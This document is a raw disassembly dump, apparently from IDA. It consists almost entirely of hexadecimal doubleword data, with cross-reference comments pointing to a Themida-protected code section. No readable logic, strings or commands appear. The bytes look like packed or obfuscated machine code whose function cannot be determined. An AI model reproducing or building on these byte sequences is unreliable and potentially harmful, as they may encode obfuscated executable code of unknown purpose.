0E20A4985h dd 29F94705h, 0E2243185h, 0F7C16805h, 6A93C8h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h dd 8D89E1C3h, 5E2333Dh, 262DB5FFh, 8D8B05E2h, 5E223C1h dd 39ED858Dh, 6A05E2h, 3E850h, 58200000h, 448958C3h, 44810424h dd 190424h, 50400000h, 1D9115C3h, 0FF290E14h, 38C0FD0h dd 53000000h, 8B5059F9h, 4E858DF8h, 6605E50Bh, 0C7F220BFh dd 9400h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1504h, 0C3554500h, 895849DBh, 0E232899Dh, 0F98D2905h dd 8D05E221h, 0E50B4EB5h, 50006A05h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1704h, 0C3504000h, 1441EB00h dd 0B9D0FF56h, 71068FF8h, 0B4E858Dh, 0C78105E5h, 0B7F729Fh dd 6047883h, 14850Fh, 0F88B0000h, 0BE285C7h, 105E5h, 0B70F0000h dd 0D98166F8h, 0BD830F7Fh, 5E216F1h, 0B4850F00h, 6A000000h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 15042444h dd 47000000h, 0DEAEC357h, 14E8h, 0AFF11000h, 8B22A6C8h dd 66013441h, 0DF7C53B2h, 24F2F978h, 5AD18B32h, 1D7D8D09h dd 0BD8305E2h, 5E50BE2h, 68850F00h, 6A000000h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h dd 49EAC350h, 6B1BA9B0h, 0EF81030Ch, 211433EDh, 0E89BD83h dd 0F0005E2h, 3284h, 0D985C700h, 5E215h, 6A000000h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h dd 99CFC356h, 5830Fh, 81660000h, 6613A9D2h, 6ADB8Ch, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h dd 869E6C3h, 7C0449E6h, 0F04C3F6h, 63584h, 11C98100h, 29593C34h dd 0E20E8185h, 0B985C705h, 5E200h, 57000000h, 1F05958Bh dd 805A05E2h, 0E50738BDh, 850F0005h, 1, 4985C6F9h, 4705E20Ah dd 6850FFCh, 81000000h, 74EFD5F1h, 5B866805h, 890FE3E4h dd 6, 199D958Bh, 0B5FF05E2h, 5E2262Dh, 3C1BD8Bh, 858D05E2h dd 5E239EDh, 0FF33C980h, 4880FD0h, 66000000h, 680C74BAh dd 104h, 3850Fh, 0BF0F0000h, 0FD9D8DF9h, 8B05E21Fh, 0E2046D95h dd 0CCEE8005h, 0F526053h, 665EFBBFh, 0FF61CF8Bh, 57006AD0h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h dd 0EB0F955Ch, 60CD61D6h, 0C1B52B60h, 8105E211h, 0AEDC20E2h dd 0BD8B614Fh, 5E2048Dh, 0F1805061h, 858D5F4Dh, 5E21FFDh dd 1AA18501h, 315005E2h, 0E20A2D95h, 0EA858D05h, 0BF05E506h dd 68C53890h, 5DB58950h, 8D05E209h, 0E4FDBD85h, 0C2816605h dd 6A50E8A3h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1D042444h, 41000000h, 8FA7C351h, 0C669EC9Ah, 44AFFD0Dh dd 1E558D8Bh, 95FF05E2h, 5E22C29h, 38539BFh, 0CC4835Ah dd 4DE18166h, 68006AE1h, 80h dd 6A036Ah, 68006Ah, 8D800000h, 0E4FDBD85h, 95FF5005h dd 5E22B51h, 6CD8589h, 85C605E5h, 5E20A49h, 5E876847h dd 0B5FFC7B1h, 5E2262Dh, 39ED858Dh, 0D0FF05E2h, 0B5FF006Ah dd 5E506CDh, 8B56D0FFh, 0E217A18Dh, 8D895A05h, 5E21B59h dd 37D03Dh, 64830F00h, 89000000h, 0E21B4595h, 0CDB5FF05h dd 6A05E506h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 17042444h, 40000000h, 5DC5C350h, 0BD295619h, 5E20759h dd 0A5995FFh, 858905E2h, 5E213B5h, 1DED9531h, 15E905E2h dd 6A000001h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 14042444h, 43000000h, 0FF5BC353h, 0E506CDB5h, 0FD9D0905h dd 0FF05E22Ch, 0E20A5995h, 57006A05h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1904h, 0C3574700h, 217341B0h dd 0BA5077DFh, 1C77CB1Fh, 7E859h, 3D410000h, 0BD027DB0h dd 0E78166C5h, 6A5F54CFh, 1DB58900h, 6A05E22Dh, 0B98D8B00h dd 6A05E205h, 3840F00h, 80000000h, 6AB4EEh, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 75C35040h, 8B4D4D87h dd 0F7F6C7Ah, 0CE9006Ah, 1C000000h, 84C67EE4h, 0D151686Dh dd 6AC1C92Ah, 0C7E78100h, 0BF05A6E3h, 549A70F2h, 6D1858Dh dd 958B05E5h, 5E21121h, 4D18529h, 0E95005E2h, 0Ch, 78CD3178h dd 6C8C5C77h, 4CE23C9h, 2B5195FFh, 0EE905E2h, 0CD000000h dd 0DCCDEDB0h, 817EF96Ch, 0BD605DAh, 0FFF88324h, 1E9850Fh dd 95230000h, 5E21A85h, 0BE4D858Dh, 5E905E4h, 82000000h dd 0A5B0F550h, 0BF0FD0FFh, 81006AD3h, 943B84F7h, 6A006A63h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 14042444h dd 42000000h, 0F51C352h, 6AC9BFh, 3840Fh, 8B660000h, 41BD0BCFh dd 6A05E205h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1404h, 0C3504000h, 798D29F4h, 6A05E206h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h, 0C3514100h dd 8BB95A52h, 0EE9h, 457F8200h, 2C5F2E41h, 7F61D8CAh, 6A9E772Ah dd 14E800h, 5F290000h, 3347BB1h, 5910E73Fh, 0C53C2A4h dd 0E7B61DEBh, 8E0FB651h, 2, 8D5FD08Bh, 0E506D185h, 85096005h dd 5E21AA1h, 68D0Fh, 858B0000h, 5E205D5h, 6A5061h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 140424h dword_51F9EC dd 52420000h, 8D31C5C3h, 5E22215h, 11E8h, 1ACE0100h, 6C5A7736h ; DATA XREF: Themida_:004EF6B8o dd 552D1A5Fh, 0A7F371EEh, 81663B3Fh, 5AEC64DFh, 7E9h, 0C1F4A700h dd 0EFCCD418h, 2B5195FFh, 8DB105E2h, 117D8D8Bh, 0F88305E2h dd 9C850FFFh, 6A000000h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 16042444h, 45000000h, 0C5B2C355h, 0D9B58DC8h dd 0F05E500h, 48Ah, 8ABA6600h, 0CB153E0h, 0E6858D59h, 6A05E4ACh dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1B042444h dd 40000000h, 0BC57C350h, 0E369634Bh, 0D18B41F5h, 0FFC0F680h dd 3CB966D0h, 6AF89Dh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Dh, 34C35141h, 46661D5Bh, 0B99D7D0Dh, 0FC4FB6D4h dd 40595FFh, 816605E2h, 8903F9E9h, 0E506CD85h, 57006A05h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h dd 3FC0F946h, 66890D1Ah, 2D33DA81h, 6A006Ah, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 0E4DF58C3h dd 0E1163113h, 8D5437DFh, 0E506C585h, 10E905h, 7E760000h dd 0D7EF3760h, 0A87CEEE6h, 626D8621h, 6A505DE7h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h dd 0DB0FC355h, 9ADCB35Fh, 4B98ECBBh, 4EC18166h, 8A046A8Fh dd 4D858DF5h, 8105E223h, 7DEC35D7h, 0BD8B5041h, 5E22C99h dd 958B006Ah, 5E23039h, 6AD08Bh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 17h, 0E2C35141h, 6A1C3AE0h, 50006A01h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h, 0C3504000h dd 0CDB5FF24h, 0FF05E506h, 0E223E595h, 57006A05h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h dd 5B5DFFF3h, 51A93604h, 0F1812BA0h, 7AF2101Ch, 0C800Fh dd 8F0F0000h, 6, 9998531h, 7BE905E2h, 6600001Bh, 0C08BFB8Bh dd 2C898589h, 0BD8305E2h, 5E21EA9h, 83097500h, 0E21805BDh dd 19740005h, 0C08B5350h, 7D2B8h, 5D858900h, 8D05E231h dd 0E4B2FA9Dh, 5BD3FF05h, 5BD8358h, 5E218h, 53501774h dd 7D2B8h, 5D858900h, 8D05E231h, 0E4AFE99Dh, 5BD3FF05h dd 21BD8B58h, 0F05E218h, 0C08BD6B7h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Dh, 2FC35242h, 35496959h, 26C94935h dd 0D28166E3h, 85C71C7Ah, 5E200B9h, 1, 0B868CE8Bh, 0FFCEE4E7h dd 0E21189B5h, 0ED858D05h, 0FF05E239h, 718589D0h, 6805E223h dd 0C005DBD4h, 1189B5FFh, 858D05E2h, 5E239EDh, 8589D0FFh dd 5E20469h, 0FB76858Dh, 0FF5005E4h, 0E2262DB5h, 0D595FF05h dd 0B05E230h, 8B0B74C0h, 29858DD8h, 5005E50Bh, 858DD3FFh dd 5E50B29h, 9388366h, 85C70A75h, 5E22655h, 1, 0C4195FFh dd 0FF2505E2h, 83000000h, 0A7305F8h, 17B585C7h, 105E2h dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h dd 53430000h, 10303CC3h, 56C01A68h, 12E9C9h, 0C7450000h dd 7F118962h, 36D3CD1Ah, 11A9F6FEh, 18D2711Fh, 0BD8006B5h dd 5E50738h, 0B850F00h, 0E9000000h, 1A12h, 31018D8Bh, 0BD8305E2h dd 5E22655h, 0C7850F00h, 60000000h, 9589EBB0h, 5E219A5h dd 2858D61h, 6605E507h, 59EBC281h, 10E950h, 0D04B0000h dd 0C0A895F7h, 31AEFA54h, 88ADD52Bh, 16A851Dh, 6AEF8Ah dd 22E28166h, 0E9006A3Ch, 13h, 2F0EE2D5h, 919141DEh, 9C404241h dd 1F73F78Eh, 0FF03FAA3h, 0E216C595h, 8B0F05h, 89000000h dd 0E5072C85h, 52006A05h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1C04h, 0C3524200h, 1161724Dh, 0CBE9E987h dd 1BD896Fh, 0E905E222h, 14h, 3105877Dh, 0FC81C8F0h, 8FA8654h dd 0ED431B41h, 0F05AF32Eh, 0BF0FFF6Ah, 2CB5FFFEh, 8B05E507h dd 0E221418Dh, 9D95FF05h, 6605E218h, 2075F281h, 18958589h dd 858D05E2h, 5E4FB3Dh, 59958953h, 5A05E200h, 8FC68050h dd 16F995FFh, 6A05E2h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1C0424h, 55450000h, 0A2184C3h, 0BFD9175h, 85892E85h dd 5E4FBC7h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 14h, 8EC35040h, 1089BD29h, 8AB505E2h, 0FB4A858Dh, 850905E4h dd 5E20991h, 65858950h, 6605E22Dh, 0B5FFFA8Bh, 5E4FBC7h dd 1FCD9D89h, 95FF05E2h, 5E230D5h, 5E8h, 6A108200h, 0BD0B9CF9h dd 5E217C5h, 2185895Ah, 0F05E214h, 0BD89CBBFh, 5E2138Dh dd 0FBB8858Dh, 816605E4h, 29ACD4F1h, 0E22D61BDh, 0BA665005h dd 0B5FFDFDDh, 5E4FBC7h, 0D9958B57h, 5905E208h, 30D595FFh dd 6A05E2h, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h dd 50400000h, 0C300C7C3h, 775B2631h, 0B3B966E9h, 0DB85891Ch dd 2905E4FBh, 0E20D7D9Dh, 319D8905h, 8D05E216h, 0E4FB9785h dd 81BD2B05h, 5005E20Fh, 155DBD8Bh, 0BD8B05E2h, 5E215DDh dd 0FBC7B5FFh, 6A05E4h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 160424h, 52420000h, 13D937C3h, 2509BD8Bh, 8F0F05E2h dd 2, 95FFBCB1h, 5E230D5h, 89F9BF0Fh, 0E4FBD385h, 51006A05h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1C04h, 0C3514100h dd 2A770629h, 1A1012BFh, 10E8D8h, 8A330000h, 733B9E4Eh dd 0AD88DD83h, 0FCF5C43Dh, 958BDA48h, 5E21505h, 0D18D8B59h dd 8D05E20Ch, 0E4FB8A85h, 0DE95005h, 0B5000000h, 1B1AE5B0h dd 0E933DA2h, 2FD394EEh, 0FBC7B5FFh, 816605E4h, 0F8069DE7h dd 30D595FFh, 858905E2h, 5E216BDh, 29A18D8Bh db 0E2h byte_520045 db 5, 89h, 85h ; DATA XREF: ___:0042CC88o ; ___:0042CCA0o dd 5E4FBD7h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Dh, 0F9C35343h, 5031E521h, 330FED8Ah, 14E957BEh, 0DF000000h dd 42FD3E65h, 0DB6E7DA4h, 0D02AEE6Ch, 0C18881DCh, 59856AA4h dd 197D8D8Bh, 858D05E2h, 5E4FBA5h, 13B26060h, 8E0F61F5h dd 6, 8A0Fh, 50610000h, 38B0Fh, 0BF0F0000h, 0C7B5FFCFh dd 6A05E4FBh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1B042444h, 47000000h, 0D8A9C357h, 68F7CD76h, 0BD8B1ABBh dd 5E208A5h, 30D595FFh, 858905E2h, 5E203C9h, 0FB59858Dh dd 0BD8B05E4h, 5E20109h, 55BD0B50h, 0FF05E21Ch, 0E4FBC7B5h dd 258D8B05h, 0FF05E224h, 0E230D595h, 11E905h, 0B93B0000h dd 7B0123CAh, 0A905AFE4h, 0ABA39E46h, 892E2DFDh, 0E4FBCB85h dd 3114B905h, 0F2807EC5h, 68858D27h, 8105E4FBh, 4F4DADDAh dd 85895075h, 5E21089h, 0FBC7B5FFh, 6A05E4h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 190424h, 51410000h, 0CC3149C3h dd 891B335Ah, 0E2116995h, 0D595FF05h, 0F05E230h, 8589CEB7h dd 5E4FBCFh, 2D2DB509h, 46805E2h, 8B000001h, 0E21129BDh dd 5F858D05h, 0F505E4FCh, 1850F50h, 0F9000000h, 0FD63858Dh dd 958905E4h, 5E21481h, 52006A50h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1D04h, 0C3524200h, 3C2F452h, 4E67242Dh, 953134B1h dd 5E22CD9h, 95C28166h, 2D95FFAAh, 8A05E211h, 0FC085ECh dd 685h, 0FD952900h, 8005E218h, 0E50738BDh, 850F0005h dd 2Dh, 0B65958Bh, 83E905E2h, 66000015h, 5F28D981h, 0DE860h dd 89AF0000h, 0DE044324h, 838B1488h, 8BFCE1F5h, 8D8B58DFh dd 5E20141h, 55BD8361h, 5E226h, 34850Fh, 9D310000h, 5E20BEDh dd 0BE2BD83h, 0F0005E5h, 5E84h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1904h, 0C3574700h, 0F3048656h dd 858D7B48h, 5E4FBFCh, 0F2D28166h, 14E980h, 0AD4F0000h dd 0AECF6CAAh, 92FEBAACh, 51CD8048h, 0CC0C065Ch, 0F7E9C127h dd 31000014h, 0E21C1DBDh, 15E905h, 958B0000h, 5E205E5h dd 8DC88B66h, 0E4FBE785h, 79958B05h, 5005E21Bh, 14E8h dd 61229400h, 0D040E661h, 0EC3C2B12h, 0E1B8462Bh, 0DD571AA9h dd 0E58D89B4h, 5A05E200h, 0FC5F858Dh, 0BF5005E4h, 15D2E16h dd 42BF505Fh, 8359EC8Ah, 0E22655BDh, 840F0005h, 50h, 88A0BA66h dd 0FD85858Dh, 8E905E4h, 0BD000000h, 7B61FCDCh, 53F4D604h dd 2890Fh, 0C88B0000h, 51E95Fh, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 170424h, 57470000h, 270982C3h dd 6D8D03B4h, 6605E230h, 0F2CFD181h, 0FD6E858Dh, 6A05E4h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h dd 0CFBB5BC3h, 50D08B66h, 1CD9958Bh, 858D05E2h, 5E4FDBDh dd 29A98589h, 0BD0105E2h, 5E22489h, 0FBBF0F50h, 2C2995FFh dd 0C88B05E2h, 3125958Bh, 0C48305E2h, 598D0310h, 0E905E21Bh dd 9, 4A2CDF90h, 78EAA00Ah, 0E9C08B5Ah, 7, 7A608BC3h, 52849073h dd 8359D18Ah, 0E21EA9BDh, 9750005h, 1805BD83h, 740005E2h dd 8B535019h, 7D3B8C0h, 85890000h, 5E2315Dh, 0B2FA9D8Dh dd 0D3FF05E4h, 0BD83585Bh, 5E21805h, 50177400h, 7D3B853h dd 85890000h, 5E2315Dh, 0AFE99D8Dh, 0D3FF05E4h, 6A585Bh dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h dd 8B1BF4C3h, 81C08BD6h, 0E4FBE7BDh, 65726F05h, 7E840F61h dd 8D000000h, 0E4FC5F85h, 858D5005h, 5E4FD9Ch, 0BD858D50h dd 5005E4FDh, 2C2995FFh, 0C48305E2h, 4985C60Ch, 4405E20Ah dd 0A3184F68h, 2DB5FF96h, 8D05E226h, 0E239ED85h, 8BD0FF05h dd 0BD858DD8h, 5005E4FDh, 858DD3FFh, 5E4FBE7h, 5F858D50h dd 5005E4FCh, 2655BD83h, 740005E2h, 85858D08h, 0EB05E4FDh dd 6E858D06h, 5005E4FDh, 0FDBD858Dh, 0FF5005E4h, 0E22C2995h dd 10C48305h, 8B7BF280h, 4195FFFEh, 6605E20Ch, 0FF25FE8Bh dd 6A000000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1B042444h, 42000000h, 0CE71C352h, 6A609B8Ah, 0D78B6469h dd 83CE8B66h, 830F05F8h, 6Bh, 21C1958Bh, 85C705E2h, 5E217B5h dd 1, 4359589h, 858D05E2h, 5E4FC1Bh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Ch, 1BC35141h, 0D93380AEh, 2612AD67h dd 89E9h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1804h, 0C3574700h, 8C1E172Dh, 0A06EBF96h, 83F802A2h dd 0E22655BDh, 840F0005h, 49h, 6820Fh, 958B0000h, 5E21FC9h dd 0FC46858Dh, 0BD8905E4h, 5E22A91h, 0D718D0Bh, 33E905E2h dd 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1B042444h, 43000000h, 94E2C353h, 788DC0B7h, 8B6644B7h dd 28858DCFh, 8B05E4FCh, 0E205718Dh, 8589FC05h, 5E4FC5Bh dd 8BF8B70Fh, 0E205ADBDh, 55BD8305h, 5E226h, 29850Fh, 0BD830000h dd 5E50BE2h, 4B840F00h, 0E8000000h, 13h, 0C681F244h, 0A0DA9AD5h dd 4E5BAF5Ah, 0FA5F8C9Dh, 800EC887h, 0E9595EF2h, 117Ah dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 36C35242h dd 8D8B4421h, 5E2168Dh, 471BD8Bh, 42E905E2h, 8B000005h dd 0E2013595h, 0E9C08B05h, 13h, 28379394h, 0BCA79A00h dd 6AE093Bh, 0C95546FEh, 83DD127Ah, 0E21EA9BDh, 9750005h dd 1805BD83h, 740005E2h, 8B535019h, 7D4B8C0h, 85890000h dd 5E2315Dh, 0B2FA9D8Dh, 0D3FF05E4h, 0BD83585Bh, 5E21805h dd 50177400h, 7D4B853h, 85890000h, 5E2315Dh, 0AFE99D8Dh dd 0D3FF05E4h, 0B589585Bh, 5E231B5h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Dh, 0AFC35646h, 49636BD0h, 0EEB7027Fh dd 8D895003h, 5E20FADh, 3C08B5Fh, 0E2145DBDh, 3F6805h dd 0C680000Fh, 3006A33h, 0E215A195h, 6A006A05h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h dd 6171C352h, 0C13A4FD6h, 95FFFC66h, 5E21421h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 3BC35343h, 594BA251h dd 0DE9EC1Dh, 75000000h, 2764797h, 88101048h, 38D6A006h dd 561BD23h, 0C08505E2h, 6850Fh, 85890000h, 5E21E55h, 0FBDF8589h dd 6A05E4h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h dd 55450000h, 0ABA1A5C3h, 0FB982EBh, 389h, 0FB8B6600h dd 6A006Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h dd 57470000h, 0BACA55C3h, 2B33D4DCh, 6A006Ah, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 7DC35747h, 722AE0F2h dd 0DE20E048h, 1379BD03h, 6A05E2h, 24F9BD29h, 6A05E2h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 6EC35545h dd 0FC558B76h, 858D6F28h, 5E4FDBDh, 1761B589h, 9D0105E2h dd 5E21D09h, 0BE950h, 0D5B30000h, 0A3F1BC65h, 87D56564h dd 56016AEDh dd 0A7E18166h, 16A5A15h, 52D958Bh, 16A05E2h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 73C35141h, 14F59D89h dd 0FF6805E2h, 0E9000F01h, 0Fh, 776DED50h, 9E6C6BBBh, 54EB4589h dd 831B86A7h, 0E22655BDh, 840F0005h, 84h, 0E857006Ah, 3 dd 5FC35F20h, 4247C89h, 4244481h, 1Dh, 0FFC35747h, 7EF4AE47h dd 5A762F56h, 0B58D89A5h, 8D05E229h, 0E4FC3C85h, 52006A05h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h dd 5CFFEC70h, 6E95574h, 0E3000000h, 15DD7E1Dh, 10E835h dd 0AC520000h, 6E82DE7Eh, 1D056BB2h, 9981AFE0h, 0BD8B261Ch dd 5E21A01h, 12E959h, 0C7810000h, 54791610h, 0FC12858Dh dd 8D8905E4h, 5E222E5h, 15BD8B50h, 5005E21Ah, 0A75B589h dd 0B5FF05E2h, 5E4FBDFh, 8424BF66h, 0FBCB95FFh, 952B05E4h dd 5E21EA5h, 5DBD33h, 0C08505E2h, 32850Fh, 6A0000h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h dd 958BD9C3h, 5E21C59h, 35E9h, 8DBD0B00h, 6605E20Dh, 0D761D281h dd 0FBE38589h, 0B5FF05E4h, 5E4FBE3h, 19E18529h, 95FF05E2h dd 5E203C9h, 0C0852CB1h, 8850Fh, 89570000h, 0E22B6995h dd 106A5A05h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 15h, 35C35747h, 10C18031h, 2655BD83h, 0F0005E2h, 6184h dd 14E800h, 0B8D30000h, 0FE3A0AE4h, 55D1912h, 13C51Fh dd 332BA79Fh, 860F991Ah, 1, 858D5AF5h, 5E4FC3Ch, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 1EC35747h, 0AE9AC166h dd 1958B91h, 0F05E211h, 8589FFBFh, 5E21881h, 11E9h, 0EA816600h dd 858D857Eh, 5E4FC12h, 1F85BD89h, 0E95005E2h, 6, 61B8C65Ah dd 0B5FFF95Fh, 5E4FBDFh, 0EE8h, 0AE97D600h, 5BD61584h dd 51394387h, 2975F290h, 0E22F9595h, 95FF5905h, 5E4FBD7h dd 9E9h, 0FC431C00h, 9991199Eh, 0C085C90Ch, 12850Fh, 8B0F0000h dd 6, 7C98D03h, 8D8905E2h, 5E2075Dh, 0FBE38589h, 6A05E4h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h dd 0EA8CB2C3h, 0E52EA72Ch, 0FFB70F88h, 0C840Fh, 8D0F0000h dd 6, 5ED958Bh, 6A05E2h, 0EE80006Ah, 0E3B5FFE7h, 8105E4FBh dd 359799E7h, 0CF95FF45h, 6A05E4FBh, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 2839C352h dd 2DA3C882h, 890CAB44h, 0E21FD1B5h, 0FC08505h, 685h, 9FC78100h dd 0FF532E81h, 0E4FBE3B5h, 0FF0CB605h, 0E203C995h, 52006A05h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h dd 0B08EDF22h, 33ACABA4h, 0E204118Dh, 0FC08505h, 0C85h dd 7E900h, 95A0000h, 0D91F29EFh, 0F006A2Bh, 28Ah, 68D38B00h dd 80h, 2A899D29h, 36A05E2h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Bh, 19C35646h, 6E2C83F4h, 0B9BCF434h dd 6546FAA5h, 1C52E9B9h, 66006A2Eh, 0BF0FFB8Bh, 56006AFBh dd 685A5956h, 0C0000000h, 1A39BD89h, 0B5FF05E2h, 5E4FC5Bh dd 5195FFF9h, 8B05E22Bh, 0E23191BDh, 0FFF88305h, 4F8850Fh dd 0BA660000h, 85FFEBEDh, 5E506C9h, 0BD83FA8Bh, 5E506C9h dd 0E5840F02h, 6A000003h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1A042444h, 40000000h, 89E6C350h, 0CE1D73FDh dd 11E85Eh, 93AE0000h, 959FFE71h, 61D2D080h, 3EFEAEF1h dd 31FD8AC0h, 0E21809B5h, 858D5905h, 5AF59Fh, 18FD9589h dd 0D0FF05E2h, 4E9958Bh, 858D05E2h, 5AEFF2h, 28B0Fh, 0C88B0000h dd 6AD0FFh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h dd 52420000h, 9AD28BC3h, 0ACD2BDD1h, 81C08BFEh, 88B3EDDFh dd 0A9BD8345h, 5E21Eh, 0BD830975h, 5E21805h, 50197400h dd 0B8C08B53h, 7D8h, 315D8589h, 9D8D05E2h, 5E4B2FAh, 585BD3FFh dd 1805BD83h, 740005E2h, 0B8535017h, 7D8h, 315D8589h, 9D8D05E2h dd 5E4AFE9h, 585BD3FFh, 23698D8Bh, 0C08B05E2h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 57C35141h, 0FA16E893h dd 8A607338h, 0D9BD29DEh, 6105E231h, 0F003F68h, 699D8900h dd 6A05E231h, 10E900h, 42560000h, 3E68A4CFh, 6DFD6B8Ah dd 0B275B587h, 6A7EC0h, 0AAD8529h, 95FF05E2h, 5E21421h dd 0EE8h, 0F140CD00h, 0A113A7Fh, 0E8A1D0C5h, 8B9B9F84h dd 0E204FD8Dh, 0C0855A05h, 1F15BD01h, 858905E2h, 5E4FBDFh dd 41E98166h, 1FF68CFh, 81F8000Fh, 520DD9F1h, 55BD832Fh dd 5E226h, 1C840Fh, 81660000h, 8D2D33C2h, 0E4FC3C85h, 45B50105h dd 0E905E20Ah, 12h, 0C798D8Bh, 858D05E2h, 5E4FC12h, 0FCEBF0Fh dd 8950CBB7h, 0E229A18Dh, 0DFB5FF05h, 6A05E4FBh, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h dd 5C98C353h, 8D31239Fh, 5E20FDDh, 0FBD795FFh, 816605E4h dd 89BDF1C1h, 0E4FBE385h, 85C7FC05h, 5E20A31h, 0 dd 0FBE3BD83h, 0F0005E4h, 1CC84h, 7E800h, 0ABB40000h, 8E73D81Ch dd 0CA8166FCh, 8D5F14F9h, 0E4FEC185h, 56006A05h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h dd 0B966DB29h, 0E950768Fh, 8, 0EF773182h, 0B5D9C197h, 6A016Ah dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h dd 0BCD2EDC3h, 0BAD86DB4h, 0E9A34C92h, 0Dh, 32DB08Dh, 0D7C2C046h dd 0DCA9CBE3h, 0FFE0B628h, 0E4FBE3B5h, 0F606005h, 810FD9B7h dd 0 dd 5E961h, 970D0000h, 613CDD0Fh, 0FBDB95FFh, 958B05E4h dd 5E21559h, 0FBE3B5FFh, 0BF6605E4h, 860FCAD0h, 6, 47DBD8Bh dd 95FF05E2h, 5E203C9h, 2AB98D8Bh, 0FF6805E2h, 81000F01h dd 0B75CADC1h, 55BD8335h, 5E226h, 19840Fh, 0B70F0000h dd 3C858DC9h, 8905E4FCh, 0E205718Dh, 13E905h, 81660000h dd 8DD922C9h, 0E4FC1285h, 0B9958B05h, 0B105E210h, 6A50ACh dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h dd 8B6662C3h, 0DFB5FFD0h, 6A05E4FBh, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 0B3D4C351h dd 4738AEA3h, 9767F3B1h, 0FE9h, 5FD9300h, 0FE51BFFFh, 0C0E6E17Fh dd 0A25DA4A2h, 0FBD795FFh, 0DE8005E4h, 0E385899Ah, 0FF05E4FBh dd 0E4FBE3B5h, 558D8905h, 0FF05E218h, 0E4FBD395h, 6880F05h dd 8B000000h, 0E231B98Dh, 0E3B5FF05h, 6A05E4FBh, 3E85000h dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h dd 2D47C350h, 81FA2900h, 4BEF8CD2h, 0C995FF71h, 0B105E203h dd 0F65BE937h, 9E9FFFFh, 0F4000000h, 0FFE985DCh, 34BF7CB3h dd 72CB5FFh, 958B05E5h, 5E22F9Dh, 0B1595FFh, 